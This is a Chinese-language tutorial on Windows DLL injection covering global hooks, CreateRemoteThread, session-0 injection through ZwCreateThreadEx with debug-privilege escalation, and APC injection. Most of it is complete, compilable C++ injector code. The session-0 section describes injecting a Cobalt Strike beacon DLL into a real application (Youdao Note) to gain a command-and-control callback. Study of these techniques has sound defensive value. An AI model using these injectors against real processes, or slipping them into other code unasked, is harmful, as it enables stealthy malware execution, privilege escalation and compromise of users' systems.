对于几种常见的dll注入方式进行分析和总结。
全局钩子注入 在Windows大部分应用都是基于消息机制,他们都拥有一个消息过程函数,根据不同消息完成不同功能,windows通过钩子机制来截获和监视系统中的这些消息。一般钩子分局部钩子与全局钩子,局部钩子一般用于某个线程,而全局钩子一般通过dll文件实现相应的钩子函数。
核心函数 SetWindowsHookEx
1 2 3 4 5 HHOOK WINAPI SetWindowsHookEx ( __in int idHook, \\钩子类型 __in HOOKPROC lpfn, \\回调函数地址 __in HINSTANCE hMod, \\实例句柄 __in DWORD dwThreadId) ; \\线程ID
通过设定钩子类型与回调函数的地址,将定义的钩子函数安装到挂钩链中。如果函数成功返回钩子的句柄,如果函数失败,则返回NULL
实现原理 由上述介绍可以知道如果创建的是全局钩子,那么钩子函数必须在一个DLL中。这是因为进程的地址空间是独立的,发生对应事件的进程不能调用其他进程地址空间的钩子函数。如果钩子函数的实现代码在DLL中,则在对应事件发生时,系统会把这个DLL加较到发生事体的进程地址空间中,使它能够调用钩子函数进行处理。
在操作系统中安装全局钩子后,只要进程接收到可以发出钩子的消息,全局钩子的DLL文件就会由操作系统自动或强行地加载到该进程中。因此,设置全局钩子可以达到DLL注入的目的。创建一个全局钩子后,在对应事件发生的时候,系统就会把 DLL加载到发生事件的进程中,这样,便实现了DLL注入。
为了能够让DLL注入到所有的进程中,程序设置WH_GETMESSAGE
消息的全局钩子。因为WH_GETMESSAGE
类型的钩子会监视消息队列,并且 Windows系统是基于消息驱动的,所以所有进程都会有自己的一个消息队列,都会加载 WH_GETMESSAGE
类型的全局钩子DLL。
那么设置WH_GETMESSAGE
就可以通过以下代码实现,记得加上判断是否设置成功
1 2 3 4 5 6 7 8 9 10 11 12 13 BOOL SetHook () { g_Hook = ::SetWindowsHookEx (WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllMoudle, 0 ); if (g_Hook == NULL ) { return FALSE; } return TRUE; }
这里第二个参数是回调函数,那么我们还需要写一个回调函数的实现,这里就需要用到CallNextHookEx
这个api,主要是第一个参数,这里传入钩子的句柄的话,就会把当前钩子传递给下一个钩子,若参数传入0则对钩子进行拦截
1 2 3 4 5 LRESULT GetMsgProc (int code, WPARAM wParam, LPARAM lParam) { return ::CallNextHookEx (g_Hook, code, wParam, lParam); }
既然我们写入了钩子,如果不使用的情况下就需要将钩子卸载掉,那么这里使用到UnhookWindowsHookEx
这个api来卸载钩子
1 2 3 4 5 6 7 8 BOOL UnsetHook () { if (g_Hook) { ::UnhookWindowsHookEx (g_Hook); } }
既然我们使用到了SetWindowsHookEx
这个api,就需要进行进程间的通信,进程通信的方法有很多,比如自定义消息、管道、dll共享节、共享内存等等,这里就用共享内存来实现进程通信
1 2 3 4 5 #pragma data_seg("mydata" ) HHOOK g_hHook = NULL ; #pragma data_seg() #pragma comment(linker, "/SECTION:mydata,RWS"
实现过程 首先新建一个dll
在pch.h
头文件里面声明这几个我们定义的函数都是裸函数,由我们自己平衡堆栈
1 2 3 extern "C" _declspec(dllexport) int SetHook () ;extern "C" _declspec(dllexport) LRESULT GetMsgProc (int code, WPARAM wParam, LPARAM lParam) ;extern "C" _declspec(dllexport) BOOL UnsetHook () ;
然后在pch.cpp
里面写入三个函数并创建共享内存
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include "pch.h" #include <windows.h> #include <stdio.h> extern HMODULE g_hDllModule;#pragma data_seg("mydata" ) HHOOK g_hHook = NULL ; #pragma data_seg() #pragma comment(linker, "/SECTION:mydata,RWS" ) LRESULT GetMsgProc (int code, WPARAM wParam, LPARAM lParam) { return ::CallNextHookEx (g_hHook, code, wParam, lParam); } BOOL SetHook () { g_hHook = SetWindowsHookEx (WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0 ); if (NULL == g_hHook) { return FALSE; } return TRUE; } BOOL UnsetHook () { if (g_hHook) { UnhookWindowsHookEx (g_hHook); } return TRUE; }
然后再在dllmain.cpp
设置DLL_PROCESS_ATTACH
,然后编译生成Golbal.dll
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include "pch.h" HMODULE g_hDllModule = NULL ; BOOL APIENTRY DllMain ( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { g_hDllModule = hModule; break ; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break ; } return TRUE; }
再创建一个控制台项目
使用LoadLibrabryW
加载dll,生成GolbalInjectDll.cpp
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 #include <iostream> #include <Windows.h> int main () { typedef BOOL (*typedef_SetGlobalHook) () ; typedef BOOL (*typedef_UnsetGlobalHook) () ; HMODULE hDll = NULL ; typedef_SetGlobalHook SetGlobalHook = NULL ; typedef_UnsetGlobalHook UnsetGlobalHook = NULL ; BOOL bRet = FALSE; do { hDll = ::LoadLibraryW (TEXT ("F:\\C++\\GolbalDll\\Debug\\GolbalDll.dll" )); if (NULL == hDll) { printf ("LoadLibrary Error[%d]\n" , ::GetLastError ()); break ; } SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress (hDll, "SetHook" ); if (NULL == SetGlobalHook) { printf ("GetProcAddress Error[%d]\n" , ::GetLastError ()); break ; } bRet = SetGlobalHook (); if (bRet) { printf ("SetGlobalHook OK.\n" ); } else { printf ("SetGlobalHook ERROR.\n" ); } system ("pause" ); UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress (hDll, "UnsetHook" ); if (NULL == UnsetGlobalHook) { printf ("GetProcAddress Error[%d]\n" , ::GetLastError ()); break ; } UnsetGlobalHook (); printf ("UnsetGlobalHook OK.\n" ); } while (FALSE); system ("pause" ); return 0 ; }
执行即可注入GolbalDll.dll
远程线程注入 远程线程函数顾名思义,指一个进程在另一个进程中创建线程。
核心函数 CreateRemoteThread
1 2 3 4 5 6 7 8 9 HANDLE CreateRemoteThread ( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) ;
lpStartAddress:A pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread and represents the starting address of the thread in the remote process. The function must exist in the remote process. For more information, see ThreadProc .
lpParameter:A pointer to a variable to be passed to the thread function.
lpStartAddress即线程函数,使用LoadLibrary的地址作为线程函数地址;lpParameter为线程函数参数,使用dll路径作为参数
VirtualAllocEx
是在指定进程的虚拟空间保留或提交内存区域,除非指定MEM_RESET参数,否则将该内存区域置0。
1 2 3 4 5 6 7 LPVOID VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) ;
hProcess:申请内存所在的进程句柄
lpAddress:保留页面的内存地址;一般用NULL自动分配 。
dwSize:欲分配的内存大小,字节单位;注意实际分 配的内存大小是页内存大小的整数倍。
flAllocationType
可取下列值:
MEM_COMMIT:为特定的页面区域分配内存中或磁盘的页面文件中的物理存储
MEM_PHYSICAL :分配物理内存(仅用于地址窗口扩展内存)
MEM_RESERVE:保留进程的虚拟地址空间,而不分配任何物理存储。保留页面可通过继续调用VirtualAlloc()而被占用
MEM_RESET :指明在内存中由参数lpAddress和dwSize指定的数据无效
MEM_TOP_DOWN:在尽可能高的地址上分配内存(Windows 98忽略此标志)
MEM_WRITE_WATCH:必须与MEM_RESERVE一起指定,使系统跟踪那些被写入分配区域的页面(仅针对Windows 98)
flProtect 可取下列值:
PAGE_READONLY: 该区域为只读。如果应用程序试图访问区域中的页的时候,将会被拒绝访
PAGE_READWRITE 区域可被应用程序读写
PAGE_EXECUTE: 区域包含可被系统执行的代码。试图读写该区域的操作将被拒绝。
PAGE_EXECUTE_READ :区域包含可执行代码,应用程序可以读该区域。
PAGE_EXECUTE_READWRITE: 区域包含可执行代码,应用程序可以读写该区域。
PAGE_GUARD: 区域第一次被访问时进入一个STATUS_GUARD_PAGE异常,这个标志要和其他保护标志合并使用,表明区域被第一次访问的权限
PAGE_NOACCESS: 任何访问该区域的操作将被拒绝
PAGE_NOCACHE: RAM中的页映射到该区域时将不会被微处理器缓存(cached)
注:PAGE_GUARD和PAGE_NOCHACHE标志可以和其他标志合并使用以进一步指定页的特征。PAGE_GUARD标志指定了一个防护页(guard page),即当一个页被提交时会因第一次被访问而产生一个one-shot异常,接着取得指定的访问权限。PAGE_NOCACHE防止当它映射到虚拟页的时候被微处理器缓存。这个标志方便设备驱动 使用直接内存访问 方式(DMA)来共享内存块。
WriteProcessMemory
此函数能写入某一进程的内存区域(直接写入会出Access Violation错误),故需此函数入口区必须可以访问,否则操作将失败。
1 2 3 4 5 6 7 BOOL WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten ) ;
实现原理 使用CreateRemoteThread
这个API,首先使用CreateToolhelp32Snapshot
拍摄快照获取pid,然后使用Openprocess
打开进程,使用VirtualAllocEx
远程申请空间,使用WriteProcessMemory
写入数据,再用GetProcAddress
获取LoadLibraryW
的地址(由于Windows引入了基址随机化ASLR安全机制,所以导致每次开机启动时系统DLL加载基址都不一样,有些系统dll(kernel,ntdll)的加载地址,允许每次启动基址可以改变,但是启动之后必须固定,也就是说两个不同进程在相互的虚拟内存中,这样的系统dll地址总是一样的),在注入进程中创建线程(CreateRemoteThread
)
实现过程 首先生成一个dll文件,实现简单的弹窗即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include "pch.h" BOOL APIENTRY DllMain ( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox (NULL , L"success!" , L"Congratulation" , MB_OK); case DLL_THREAD_ATTACH: MessageBox (NULL , L"success!" , L"Congratulation" , MB_OK); case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break ; } return TRUE; }
我们要想进行远程线程注入,那么就需要得到进程的pid,这里使用到的是CreateToolhelp32Snapshot
这个api拍摄快照来进行获取,注意我这里定义了#include "tchar.h"
,所有函数都是使用的宽字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 DWORD _GetProcessPID(LPCTSTR lpProcessName) { DWORD Ret = 0 ; PROCESSENTRY32 p32; HANDLE lpSnapshot = ::CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0 ); if (lpSnapshot == INVALID_HANDLE_VALUE) { printf ("获取进程快照失败,请重试! Error:%d" , ::GetLastError ()); return Ret; } p32.dwSize = sizeof (PROCESSENTRY32); ::Process32First (lpSnapshot, &p32); do { if (!lstrcmp (p32.szExeFile, lpProcessName)) { Ret = p32.th32ProcessID; break ; } } while (::Process32Next (lpSnapshot, &p32)); ::CloseHandle (lpSnapshot); return Ret; }
首先使用OpenProcess
打开进程
1 hprocess = ::OpenProcess (PROCESS_ALL_ACCESS, FALSE, _Pid);
然后使用VirtualAllocEx
远程申请空间
1 pAllocMemory = ::VirtualAllocEx (hprocess, NULL , _Size, MEM_COMMIT, PAGE_READWRITE);
然后写入内存,使用WriteProcessMemory
1 Write = ::WriteProcessMemory (hprocess, pAllocMemory, DllName, _Size, NULL );
然后创建线程并等待线程函数结束,这里WaitForSingleObject
的第二个参数要设置为-1才能够一直等待
1 2 3 4 5 6 7 hThread = ::CreateRemoteThread (hprocess, NULL , 0 , addr, pAllocMemory, 0 , NULL ); WaitForSingleObject (hThread, -1 );GetExitCodeThread (hThread, &DllAddr);
综上完整代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 #include <iostream> #include <windows.h> #include <TlHelp32.h> #include "tchar.h" char string_inject[] = "F:\\C++\\Inject\\Inject\\Debug\\Inject.dll" ;DWORD _GetProcessPID(LPCTSTR lpProcessName) { DWORD Ret = 0 ; PROCESSENTRY32 p32; HANDLE lpSnapshot = ::CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0 ); if (lpSnapshot == INVALID_HANDLE_VALUE) { printf ("获取进程快照失败,请重试! Error:%d" , ::GetLastError ()); return Ret; } p32.dwSize = sizeof (PROCESSENTRY32); ::Process32First (lpSnapshot, &p32); do { if (!lstrcmp (p32.szExeFile, lpProcessName)) { Ret = p32.th32ProcessID; break ; } } while (::Process32Next (lpSnapshot, &p32)); ::CloseHandle (lpSnapshot); return Ret; } DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName) { HANDLE hprocess; HANDLE hThread; DWORD _Size = 0 ; BOOL Write = 0 ; LPVOID pAllocMemory = NULL ; DWORD DllAddr = 0 ; FARPROC pThread; hprocess = ::OpenProcess (PROCESS_ALL_ACCESS, FALSE, _Pid); _Size = (_tcslen(DllName) + 1 ) * sizeof (TCHAR); pAllocMemory = ::VirtualAllocEx (hprocess, NULL , _Size, MEM_COMMIT, PAGE_READWRITE); if (pAllocMemory == NULL ) { printf ("VirtualAllocEx - Error!" ); return FALSE; } Write = ::WriteProcessMemory (hprocess, pAllocMemory, DllName, _Size, NULL ); if (Write == FALSE) { printf ("WriteProcessMemory - Error!" ); return FALSE; } pThread = ::GetProcAddress (::GetModuleHandle (L"kernel32.dll" ), "LoadLibraryW" ); LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread; hThread = ::CreateRemoteThread (hprocess, NULL , 0 , addr, pAllocMemory, 0 , NULL ); if (hThread == NULL ) { printf ("CreateRemoteThread - Error!" ); return FALSE;1 } WaitForSingleObject (hThread, -1 ); GetExitCodeThread (hThread, &DllAddr); VirtualFreeEx (hprocess, pAllocMemory, _Size, MEM_DECOMMIT); ::CloseHandle (hprocess); return TRUE; } int main () { DWORD PID = _GetProcessPID(L"test.exe" ); _RemoteThreadInject(PID, L"F:\\C++\\Inject\\Inject\\Debug\\Inject.dll" ); }
然后这里生成一个test.exe
来做测试
编译并运行,实现效果如下
突破session 0的远程线程注入 首先提一提session0的概念:
Intel的CPU将特权级别分为4个级别:RING0,RING1,RING2,RING3。Windows只使用其中的两个级别RING0和RING3,RING0只给操作系统用,RING3谁都能用。如果普通应用程序企图执行RING0指令,则Windows会显示“非法指令”错误信息。
ring0是指CPU的运行级别,ring0是最高级别,ring1次之,ring2更次之…… 拿Linux+x86来说, 操作系统(内核)的代码运行在最高运行级别ring0上,可以使用特权指令,控制中断、修改页表、访问设备等等。 应用程序的代码运行在最低运行级别上ring3上,不能做受控操作。如果要做,比如要访问磁盘,写文件,那就要通过执行系统调用(函数),执行系统调用的时候,CPU的运行级别会发生从ring3到ring0的切换,并跳转到系统调用对应的内核代码位置执行,这样内核就为你完成了设备访问,完成之后再从ring0返回ring3。这个过程也称作用户态和内核态的切换。
RING设计的初衷是将系统权限与程序分离出来,使之能够让OS更好的管理当前系统资源,也使得系统更加稳定。举个RING权限的最简单的例子:一个停止响应的应用程式,它运行在比RING0更低的指令环上,你不必大费周章的想着如何使系统回复运作,这期间,只需要启动任务管理器便能轻松终止它,因为它运行在比程式更低的RING0指令环中,拥有更高的权限,可以直接影响到RING0以上运行的程序,当然有利就有弊,RING保证了系统稳定运行的同时,也产生了一些十分麻烦的问题。比如一些OS虚拟化技术,在处理RING指令环时便遇到了麻烦,系统是运行在RING0指令环上的,但是虚拟的OS毕竟也是一个系统,也需要与系统相匹配的权限。而RING0不允许出现多个OS同时运行在上面,最早的解决办法便是使用虚拟机,把OS当成一个程序来运行。
核心函数 ZwCreateThreadEx
注意一下这个地方ZwCreateThreadEx
这个函数在32位和64位中的定义不同
在32位的情况下
1 2 3 4 5 6 7 8 9 10 11 12 DWORD WINAPI ZwCreateThreadEx ( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown) ;
在64位的情况下
1 2 3 4 5 6 7 8 9 10 11 12 DWORD WINAPI ZwCreateThreadEx ( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown) ;
这里因为我们要进到session 0那么就势必要到system权限,所以这里还有几个提权需要用到的函数
OpenProcessToken
1 2 3 4 5 BOOL OpenProcessToken ( __in HANDLE ProcessHandle, __in DWORD DesiredAccess, __out PHANDLE TokenHandle ) ;
LookupPrivilegeValueA
1 2 3 4 5 BOOL LookupPrivilegeValueA ( LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid ) ;
AdjustTokenPrivileges
1 2 3 4 5 6 7 8 BOOL AdjustTokenPrivileges ( HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength ) ;
实现原理 ZwCreateThreadEx
比 CreateRemoteThread
函数更为底层,CreateRemoteThread
函数最终是通过调用ZwCreateThreadEx
函数实现远线程创建的。
通过调用CreateRemoteThread
函数创建远线程的方式在内核6.0(Windows VISTA、7、8等)以前是完全没有问题的,但是在内核6.0 以后引入了会话隔离机制。它在创建一个进程之后并不立即运行,而是先挂起进程,在查看要运行的进程所在的会话层之后再决定是否恢复进程运行。
在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0,如下图所示,在Windows Vista之前,Session 0不仅包含服务,也包含标准用户应用程序。
将服务和用户应用程序一起在Session 0中运行会导致安全风险,因为服务会使用提升后的权限运行,而用户应用程序使用用户特权(大部分都是非管理员用户)运行,这会使得恶意软件以某个服务为攻击目标,通过“劫持”该服务,达到提升自己权限级别的目的。
从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用户创建Session 2,以此类推,如下图所示。
使用CreateRemoteThread
注入失败DLL失败的关键在第七个参数CreateThreadFlags
, 他会导致线程创建完成后一直挂起无法恢复进程运行,导致注入失败。而想要注册成功,把该参数的值改为0即可。
实现过程 在win10系统下如果我们要注入系统权限的exe,就需要使用到debug调试权限,所以先写一个提权函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 BOOL EnableDebugPrivilege () { HANDLE hToken; BOOL fOk = FALSE; if (OpenProcessToken (GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1 ; LookupPrivilegeValue (NULL , SE_DEBUG_NAME, &tp.Privileges[0 ].Luid); tp.Privileges[0 ].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges (hToken, FALSE, &tp, sizeof (tp), NULL , NULL ); fOk = (GetLastError () == ERROR_SUCCESS); CloseHandle (hToken); } return fOk; }
在进程注入dll的过程中,是不能够使用MessageBox的,系统程序不能够显示程序的窗体,所以这里编写一个ShowError
函数来获取错误码
1 2 3 4 5 6 void ShowError (const char * pszText) { char szError[MAX_PATH] = { 0 }; ::wsprintf (szError, "%s Error[%d]\n" , pszText, ::GetLastError ()); ::MessageBox (NULL , szError, "ERROR" , MB_OK); }
首先打开进程获取句柄,使用到OpenProcess
1 hProcess = ::OpenProcess (PROCESS_ALL_ACCESS, FALSE, PID);
然后是在注入的进程申请内存地址,使用到VirtualAllocEx
1 pDllAddr = ::VirtualAllocEx (hProcess, NULL , dwSize, MEM_COMMIT, PAGE_READWRITE);
再使用WriteProcessMemory
写入内存
1 WriteProcessMemory (hProcess, pDllAddr, pszDllFileName, dwSize, NULL )
加载ntdll,获取LoadLibraryA函数地址
1 2 3 HMODULE hNtdllDll = ::LoadLibrary ("ntdll.dll" ); pFuncProcAddr = ::GetProcAddress (::GetModuleHandle ("Kernel32.dll" ), "LoadLibraryA" );
获取ZwCreateThreadEx函数地址
1 typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress (hNtdllDll, "ZwCreateThreadEx" );
使用 ZwCreateThreadEx
创建远线程, 实现 DLL 注入
1 dwStatus = ZwCreateThreadEx (&hRemoteThread, PROCESS_ALL_ACCESS, NULL , hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0 , 0 , 0 , 0 , NULL );
这里还有一点需要注意的是ZwCreateThreadEx
在 ntdll.dll
中并没有声明,所以我们需要使用 GetProcAddress
从 ntdll.dll
中获取该函数的导出地址
这里加上ZwCreateThreadEx
的定义,因为64位、32位结构不同,所以都需要进行定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #ifdef _WIN64 typedef DWORD (WINAPI* typedef_ZwCreateThreadEx) ( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown) ;#else typedef DWORD (WINAPI* typedef_ZwCreateThreadEx) ( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown) ;
完整代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 #include <Windows.h> #include <stdio.h> #include <iostream> void ShowError (const char * pszText) { char szError[MAX_PATH] = { 0 }; ::wsprintf (szError, "%s Error[%d]\n" , pszText, ::GetLastError ()); ::MessageBox (NULL , szError, "ERROR" , MB_OK); } BOOL EnableDebugPrivilege () { HANDLE hToken; BOOL fOk = FALSE; if (OpenProcessToken (GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1 ; LookupPrivilegeValue (NULL , SE_DEBUG_NAME, &tp.Privileges[0 ].Luid); tp.Privileges[0 ].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges (hToken, FALSE, &tp, sizeof (tp), NULL , NULL ); fOk = (GetLastError () == ERROR_SUCCESS); CloseHandle (hToken); } return fOk; } BOOL ZwCreateThreadExInjectDll (DWORD PID,const char * pszDllFileName) { HANDLE hProcess = NULL ; SIZE_T dwSize = 0 ; LPVOID pDllAddr = NULL ; FARPROC pFuncProcAddr = NULL ; HANDLE hRemoteThread = NULL ; DWORD dwStatus = 0 ; EnableDebugPrivilege (); hProcess = ::OpenProcess (PROCESS_ALL_ACCESS, FALSE, PID); if (hProcess == NULL ) { printf ("OpenProcess - Error!\n\n" ); return -1 ; } dwSize = ::lstrlen (pszDllFileName) + 1 ; pDllAddr = ::VirtualAllocEx (hProcess, NULL , dwSize, MEM_COMMIT, PAGE_READWRITE); if (NULL == pDllAddr) { ShowError ("VirtualAllocEx - Error!\n\n" ); return FALSE; } if (FALSE == ::WriteProcessMemory (hProcess, pDllAddr, pszDllFileName, dwSize, NULL )) { ShowError ("WriteProcessMemory - Error!\n\n" ); return FALSE; } HMODULE hNtdllDll = ::LoadLibrary ("ntdll.dll" ); if (NULL == hNtdllDll) { ShowError ("LoadLirbary" ); return FALSE; } pFuncProcAddr = ::GetProcAddress (::GetModuleHandle ("Kernel32.dll" ), "LoadLibraryA" ); if (NULL == pFuncProcAddr) { ShowError ("GetProcAddress_LoadLibraryA - Error!\n\n" ); return FALSE; } #ifdef _WIN64 typedef DWORD (WINAPI* typedef_ZwCreateThreadEx) ( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown) ;#else typedef DWORD (WINAPI* typedef_ZwCreateThreadEx) ( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown) ;#endif typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress (hNtdllDll, "ZwCreateThreadEx" ); if (NULL == ZwCreateThreadEx) { ShowError ("GetProcAddress_ZwCreateThread - Error!\n\n" ); return FALSE; } dwStatus = ZwCreateThreadEx (&hRemoteThread, PROCESS_ALL_ACCESS, NULL , hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0 , 0 , 0 , 0 , NULL ); if (NULL == ZwCreateThreadEx) { ShowError ("ZwCreateThreadEx - Error!\n\n" ); return FALSE; } ::CloseHandle (hProcess); ::FreeLibrary (hNtdllDll); return TRUE; } int main (int argc, char * argv[]) {#ifdef _WIN64 BOOL bRet = ZwCreateThreadExInjectDll (4924 , "C:\\Users\\61408\\Desktop\\artifact.dll" ); #else BOOL bRet = ZwCreateThreadExInjectDll (4924 , "C:\\Users\\61408\\Desktop\\artifact.dll" ); #endif if (FALSE == bRet) { printf ("Inject Dll Error!\n\n" ); } printf ("Inject Dll OK!\n\n" ); return 0 ; }
因为在dll注入的过程中是看不到messagebox的,所以这里我选择cs注入进行测试,若注入成功即可上线
首先生成一个32位的dll文件,这里跟位数有关,我选择注入的是32位的进程,所以这里我选择生成32位的dll
得到路径
这里我选择的是有道云笔记进行注入,查看一下pid
然后把我们函数的pid改为有道云的pid
实现效果如下所示
APC注入 APC,全称为Asynchronous Procedure Call,即异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制。
这里去看一下msdn中异步过程调用的解释如下
首先第一个函数
QueueUserApc: 函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中
APCproc: 函数作用: 回调函数的写法.
往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。这里介绍一下应用程序的APC,APC是往线程中插入一个回调函数,但是用的APC调用这个回调函数是有条件的,如msdn所示
核心函数 QueueUserAPC
1 2 3 4 5 DWORD QueueUserAPC ( PAPCFUNCpfnAPC, HANDLEhThread, ULONG_PTRdwData ) ;
QueueUserAPC 函数的第一个参数表示执行函数的地址,当开始执行该APC的时候,程序会跳转到该函数地址处来执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT 访问权限。第三个参数表示传递给执行函数的参数,与远线程注入类似,如果QueueUserAPC 的第一个参数为LoadLibraryA,第三个参数设置的是dll路径即可完成dll注入。
实现原理 在 Windows系统中,每个线程都会维护一个线程 APC队列,通过QucueUserAPC把一个APC 函数添加到指定线程的APC队列中。每个线程都有自己的APC队列,这个 APC队列记录了要求线程执行的一些APC函数。Windows系统会发出一个软中断去执行这些APC 函数,对于用户模式下的APC 队列,当线程处在可警告状态时才会执行这些APC 函数。一个线程在内部使用SignalObjectAndWait 、 SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx等函数把自己挂起时就是进入可警告状态,此时便会执行APC队列函数。
通俗点来概括过程可分为以下几步:
1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断(或者是Messagebox弹窗的时候不点OK的时候也能注入)。 2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。 3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。
但是想要使用apc注入也有以下两点条件:
1.必须是多线程环境下
2.注入的程序必须会调用那些同步对象
